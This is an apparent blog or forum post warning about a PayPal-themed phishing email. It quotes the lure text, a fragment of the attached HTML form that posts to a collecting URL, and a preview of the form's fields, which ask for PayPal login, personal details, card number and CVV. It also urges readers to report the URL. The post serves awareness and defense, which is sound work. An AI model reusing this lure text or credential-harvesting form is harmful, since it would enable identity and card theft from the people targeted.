Phishing Email - Your PayPal Confirmation Alert ✓

Just got hit with the "Your PayPal Confirmation Alert  ✓" phishing email.

This email is crafty since the message is email header (see bad email header here) is composed well, the reply is back to PayPal, etc. Moreover, all the image sources are from PayPal, but the real threat comes from the attached document which it asks you to fill out. 

This email will try to steal your identity on PayPal and also has a browser jack file payload. It's fairly rudimentary form and obvious, but the best deception are the most seemingly obvious. The browser jack file payload, is not obvious at all however and is a huge compromise, a top tier anti-virus program should detect like Kaspersky.


The email subject line; 

"Your PayPal Confirmation Alert  ✓"


The email reads, but the give away this is misspelling of Thank you.

	Dear Customer, This is an automatic message by the system to let you know that you have to confirm your account information within 48 hours. Your account has been frozen temporarily in order to protect it. The account will continue to be frozen until it is approved and validate your account information. This will help protect you in the future. The process does not take more than 3 minutes. To proceed to confirm your account information please follow the instructions that will be required Download the attached document and open it in a browser window secure. Confirm that you are the account holder and follow the instructions. Tank You, PayPal

The attached document is name PayPal-Alert.htm and contains a form to direct all your personal information to be sent to this URL address...

f o r m action="http://www.youyourk.com/id.php" id="main" method="POST" name="main">

Action > Report the Phishing URL to Google Plex now, click this link

1. https://www.google.com/safebrowsing/report_phish/?hl=en&url=www.youyourk.com

‏

The attached document cleansed pre-view

PayPal ID and Password

Enter your primary email address as your Paypal ID.

Email address :

Password :

Please enter your information.

First Name :
Last Name :
Date of Birth : Day 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Month January February March April May June July August September October November December Year 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 Phone number :

Mailing Address

Please enter your mailing address.

Address Line 1 :
Address Line 2 :
Town/City :
Zip Code :

Profile of credit card

Card Holders name :
Card number :
Expiration date :		Month 01 02 03 04 05 06 07 08 09 10 11 12 Year 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028
Card Verification Number:

Action > Report the Phishing URL to Google Plex now, click this link

1. https://www.google.com/safebrowsing/report_phish/?hl=en&url=www.youyourk.com

‏